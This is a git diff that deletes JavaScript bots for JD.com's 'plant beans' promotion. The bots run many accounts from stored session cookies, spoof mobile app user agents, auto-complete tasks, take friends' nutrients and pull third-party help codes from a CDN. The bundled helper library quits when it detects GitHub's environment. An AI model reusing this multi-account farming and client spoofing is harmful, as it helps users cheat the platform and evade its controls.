let unFinishedProductNum = item.totalNum - item.gainedNum; - if (unFinishedProductNum === 0) { - continue - } - await productTaskList(); - // console.log('productTaskList', $.productTaskList); - //const { data1 } = $.productTaskList; - let productListARR = [], productList = []; - const { productInfoList } = $.productTaskList.data; - for (let i = 0; i < productInfoList.length; i++) { - for (let j = 0; j < productInfoList[i].length; j++){ - productListARR.push(productInfoList[i][j]); - } - } - for (let i of productListARR) { - if (i.taskState === '2') { - productList.push(i); - } - } - for (let product of productList) { - const { skuId, productTaskId } = product; - const body = { - "monitor_refer": "plant_productNutrientsTask", - "productTaskId": productTaskId, - "skuId": skuId - } - const productRes = await requestGet('productNutrientsTask', body); - if (productRes && productRes.code === '0') { - // console.log('nutrState', productRes) - //这里添加多重判断,有时候会出现活动太火爆的问题,导致nutrState没有 - if (productRes.data && productRes.data.nutrState && productRes.data.nutrState === '1') { - unFinishedProductNum --; - } - } - if (unFinishedProductNum <= 0) { - console.log(`${item.taskName}任务已做完\n`) - break; - } - } - continue; - case 10: - //关注频道 - console.log(`开始做 ${item.taskName}任务`); - let unFinishedChannelNum = item.totalNum - item.gainedNum; - if (unFinishedChannelNum === 0) { - continue - } - await plantChannelTaskList(); - //const { data2 } = $.plantChannelTaskList; - // console.log('goodShopList', data.goodShopList); - // console.log('moreShopList', data.moreShopList); - let goodChannelListARR = [], normalChannelListARR = [], channelList = []; - const { goodChannelList, normalChannelList } = $.plantChannelTaskList.data; - for (let i of goodChannelList) { - if (i.taskState === '2') { - goodChannelListARR.push(i); - } - } - for (let j of normalChannelList) { - if (j.taskState === '2') { - normalChannelListARR.push(j); - } - } - channelList = goodChannelListARR.concat(normalChannelListARR); - for (let channelItem of channelList) { - const { channelId, channelTaskId } = channelItem; - const body = { - "channelId": channelId, - "channelTaskId": channelTaskId - } - const channelRes = await requestGet('plantChannelNutrientsTask', body); - console.log(`channelRes结果:${JSON.stringify(channelRes)}`); - if (channelRes && channelRes.code === '0') { - if (channelRes.data && channelRes.data.nutrState && channelRes.data.nutrState === '1') { - unFinishedChannelNum --; - } - } - if (unFinishedChannelNum <= 0) { - console.log(`${item.taskName}任务已做完\n`) - break; - } - } - continue; - default: - console.log(`\n开始做 ${item.taskName}任务`); - // $.receiveNutrientsTaskRes = await receiveNutrientsTask(item.taskType); - await receiveNutrientsTask(item.taskType); - console.log(`做 ${item.taskName}任务结果:${JSON.stringify($.receiveNutrientsTaskRes)}\n`); - continue; - } - } - } - } -} - - -function showTaskProcess() { - return new Promise(async resolve => { - await plantBeanIndex(); - $.taskList = $.plantBeanIndexResult.data?.taskList; - if ($.taskList && $.taskList.length > 0) { - console.log(" 任务 进度"); - for (let item of $.taskList) { - console.log(`[${item["taskName"]}] ${item["gainedNum"]}/${item["totalNum"]} ${item["isFinished"]}`); - } - } - resolve() - }) -} -//助力好友 -async function doHelp() { - for (let plantUuid of newShareCodes) { - console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${plantUuid}`); - if (!plantUuid) continue; - if (plantUuid === $.myPlantUuid) { - console.log(`\n跳过自己的plantUuid\n`) - continue - } - await helpShare(plantUuid); - if ($.helpResult && $.helpResult.code === '0') { - // console.log(`助力好友结果: ${JSON.stringify($.helpResult.data.helpShareRes)}`); - if ($.helpResult.data?.helpShareRes) { - if ($.helpResult.data.helpShareRes.state === '1') { - console.log(`助力好友${plantUuid}成功`) - console.log(`${$.helpResult.data.helpShareRes.promptText}\n`); - } else if ($.helpResult.data.helpShareRes.state === '2') { - console.log('您今日助力的机会已耗尽,已不能再帮助好友助力了\n'); - break; - } else if ($.helpResult.data.helpShareRes.state === '3') { - console.log('该好友今日已满9人助力/20瓶营养液,明天再来为Ta助力吧\n') - } else if ($.helpResult.data.helpShareRes.state === '4') { - console.log(`${$.helpResult.data.helpShareRes.promptText}\n`) - } else { - console.log(`助力其他情况:${JSON.stringify($.helpResult.data.helpShareRes)}`); - } - } - } else { - console.log(`助力好友失败: ${JSON.stringify($.helpResult)}`); - } - await $.wait(2000) - } -} -function showMsg() { - $.log(`\n${message}\n`); - jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; - if (!jdNotify || jdNotify === 'false') { - $.msg($.name, subTitle, message); - } -} -// ================================================此处是API================================= -//每轮种豆活动获取结束后,自动收取京豆 - -async function farmtask(){ - await receivefruit(); - await $.wait(500); - await dofarm('gotConfigDataForBrand'); - await $.wait(500); - await dofarm('initForFarm'); - await $.wait(500); - await dofarm('taskInitForFarm'); - await $.wait(500); - await dofarm('farmMarkStatus'); - await $.wait(500); - await dofarm('initForFarm'); - await $.wait(500); -} -async function receivefruit(){ - const body = { - "monitor_refer": "plant_receiveNutrientsTask", - "monitor_source": "plant_app_plant_index", - "awardType": "92", - "version": "9.2.4.1" -} -await request('receiveNutrientsTask',body) -} -async function dofarm(function_id){ - let body ={ - "version": 17, - "channel": 1, - "babelChannel": "45" - } - if (function_id == 'gotConfigDataForBrand'){ - body["type"] = "json"; - body["k"] = "farmShareConfig"; - } - return new Promise(async resolve => { - const option = { - url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', - 'Accept-Encoding': 'gzip, deflate, br', - 'Referer': 'https://h5.m.jd.com' - }, - timeout: 20000, - }; - $.get(option, (err, resp, data) => { - try { - if (err) { - console.log('\n API查询请求失败 ‼️‼️') - $.logErr(err); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) - -} - -function jxdoublesign1(url){ - let opt = { - url, - headers: { - //'Host': 'wq.jd.com', - 'accept':'application/json', - 'referer': 'https://st.jingxi.com/', - 'User-Agent': 'jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', - 'Cookie': 'cid=4;'+cookie - } - } - return new Promise(async resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - //data = JSON.parse(data); - //console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - resolve() - }) -} -async function getReward() { - const body = { - "roundId": lastRoundId - } - $.getReward = await request('receivedBean', body); -} -//收取营养液 -async function cultureBean(currentRoundId, nutrientsType) { - let functionId = arguments.callee.name.toString(); - let body = { - "roundId": currentRoundId, - "nutrientsType": nutrientsType, - } - $.cultureBeanRes = await request(functionId, body); -} -//偷营养液大于等于3瓶的好友 -//①查询好友列表 -async function stealFriendList() { - const body = { - pageNum: '1' - } - $.stealFriendList = await request('plantFriendList', body); -} - -//②执行偷好友营养液的动作 -async function collectUserNutr(paradiseUuid) { - console.log('开始偷好友'); - // console.log(paradiseUuid); - let functionId = arguments.callee.name.toString(); - const body = { - "paradiseUuid": paradiseUuid, - "roundId": currentRoundId - } - $.stealFriendRes = await request(functionId, body); -} -async function receiveNutrients() { - $.receiveNutrientsRes = await request('receiveNutrients', {"roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients"}) - // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) -} -async function plantEggDoLottery() { - $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); -} -//查询天天扭蛋的机会 -async function egg() { - $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); -} -async function productTaskList() { - let functionId = arguments.callee.name.toString(); - $.productTaskList = await requestGet(functionId, {"monitor_refer": "plant_productTaskList"}); -} -async function plantChannelTaskList() { - let functionId = arguments.callee.name.toString(); - $.plantChannelTaskList = await requestGet(functionId); - // console.log('$.plantChannelTaskList', $.plantChannelTaskList) -} -async function shopTaskList() { - let functionId = arguments.callee.name.toString(); - $.shopTaskListRes = await requestGet(functionId, {"monitor_refer": "plant_receiveNutrients"}); - // console.log('$.shopTaskListRes', $.shopTaskListRes) -} -async function receiveNutrientsTask(awardType) { - const functionId = arguments.callee.name.toString(); - const body = { - "monitor_refer": "receiveNutrientsTask", - "awardType": `${awardType}`, - } - $.receiveNutrientsTaskRes = await requestGet(functionId, body); -} -async function plantShareSupportList() { - $.shareSupportList = await requestGet('plantShareSupportList', {"roundId": ""}); - if ($.shareSupportList && $.shareSupportList.code === '0') { - const { data } = $.shareSupportList; - //当日北京时间0点时间戳 - const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; - //次日北京时间0点时间戳 - const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); - let friendList = []; - data.map(item => { - if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { - friendList.push(item); - } - }) - message += `【助力您的好友】共${friendList.length}人`; - } else { - console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) - } -} -//助力好友的api -async function helpShare(plantUuid) { - console.log(`\n开始助力好友: ${plantUuid}`); - const body = { - "plantUuid": plantUuid, - "wxHeadImgUrl": "", - "shareUuid": "", - "followType": "1", - } - $.helpResult = await request(`plantBeanIndex`, body); - console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); -} -async function plantBeanIndex() { - $.plantBeanIndexResult = await request('plantBeanIndex');//plantBeanIndexBody -} -function readShareCode() { - return new Promise(async resolve => { - $.get({url: `https://cdn.jsdelivr.net/gh/6dylan6/updateTeam@main/shareCodes/plant_bean.json`, timeout: 20000}, (err, resp, data) => { - try { - if (err) { - //console.log(`${JSON.stringify(err)}`) - //console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - //console.log(`随机取码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(15000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); - newShareCodes = shareCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log('开始获取种豆得豆配置文件\n') - notify = $.isNode() ? require('./sendNotify') : ''; - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - const jdPlantBeanShareCodes = $.isNode() ? require('./jdPlantBeanShareCodes.js') : ''; - //IOS等用户直接用NobyDa的jd cookie - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(jdPlantBeanShareCodes).forEach((item) => { - if (jdPlantBeanShareCodes[item]) { - $.shareCodesArr.push(jdPlantBeanShareCodes[item]) - } - }) - } else { - if ($.getdata('jd_plantbean_inviter')) $.shareCodesArr = $.getdata('jd_plantbean_inviter').split('\n').filter(item => !!item); - console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantbean_inviter') ? $.getdata('jd_plantbean_inviter') : '暂无'}\n`); - } - // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); - console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); - resolve() - }) -} -function requestGet(function_id, body = {}) { - if (!body.version) { - body["version"] = "9.0.0.1"; - } - body["monitor_source"] = "plant_app_plant_index"; - body["monitor_refer"] = ""; - return new Promise(async resolve => { - await $.wait(2000); - const option = { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': "application/x-www-form-urlencoded" - }, - timeout: 20000, - }; - $.get(option, (err, resp, data) => { - try { - if (err) { - console.log('\n种豆得豆: API查询请求失败 ‼️‼️') - $.logErr(err); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - }, - "timeout": 20000, - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function request(function_id, body = {}){ - return new Promise(async resolve => { - await $.wait(5000); - $.post(taskUrl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log('\n种豆得豆: API查询请求失败 ‼️‼️') - console.log(`function_id:${function_id}`) - $.logErr(err); - } else if (data.indexOf('data') > -1){ - data = JSON.parse(data); - } else { - data = JSON.parse(data); - console.log(data.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function taskUrl(function_id, body) { - body["version"] = "9.2.4.1"; - body["monitor_source"] = "plant_app_plant_index"; - body["monitor_refer"] = ""; - return { - url: JD_API_HOST, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, - headers: { - "Cookie": cookie, - "Host": "api.m.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded" - }, - timeout: 20000, - } -} -function getParam(url, name) { - const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") - const r = url.match(reg) - if (r != null) return unescape(r[2]); - return null; -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_plantBean_help.js b/jd_plantBean_help.js deleted file mode 100644 index 872ad5f64..000000000 --- a/jd_plantBean_help.js +++ /dev/null @@ -1,493 +0,0 @@ -/* -种豆得豆 脚本更新地址:jd_plantBean_help.js -更新时间:2021-08-20 -活动入口:京东APP我的-更多工具-种豆得豆 -已支持IOS京东多账号,云端多京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -注:会自动关注任务中的店铺跟商品,介意者勿使用。 -互助码shareCode请先手动运行脚本查看打印可看到 -每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 - -=====================================Quantumult X================================= -[task_local] -40 4,17 * * * https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_plantBean_help.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true - -=====================================Loon================================ -[Script] -cron "40 4,17 * * *" script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_plantBean_help.js,tag=京东种豆得豆 - -======================================Surge========================== -京东种豆得豆 = type=cron,cronexp="40 4,17 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_plantBean_help.js - -====================================小火箭============================= -京东种豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_plantBean_help.js, cronexpr="40 4,17 * * *", timeout=3600, enable=true - -*/ -const $ = new Env('种豆得豆内部互助'); -//Node.js用户请在jdCookie.js处填写京东ck; -//ios等软件用户直接用NobyDa的jd cookie -let jdNotify = true;//是否开启静默运行。默认true开启 -let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message, subTitle; -//京东接口地址 -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -//助力好友分享码(最多3个,否则后面的助力失败) -//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 -//下面给出两个账号的填写示例(iOS只支持2个京东账号) -let shareCodes = [] -let allMessage = ``; -let currentRoundId = null;//本期活动id -let lastRoundId = null;//上期id -let roundList = []; -let awardState = '';//上期活动的京豆是否收取 -let randomCount = $.isNode() ? 20 : 5; -let num; -$.newShareCode = []; -let llerror=false; -let lnrun = 0; -let lnruns = 0; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.hotFlag = false; //是否火爆 - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - option = {}; - await jdPlantBean(); - await $.wait(2 * 1000); - } - } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}) - -async function jdPlantBean() { - try { - console.log(`获取任务及基本信息`) - await plantBeanIndex(); - if(llerror) - return; - for (let i = 0; i < $.plantBeanIndexResult.data.roundList.length; i++) { - if ($.plantBeanIndexResult.data.roundList[i].roundState === "2") { - num = i - break - } - } - // console.log(plantBeanIndexResult.data.taskList); - if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { - const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl - 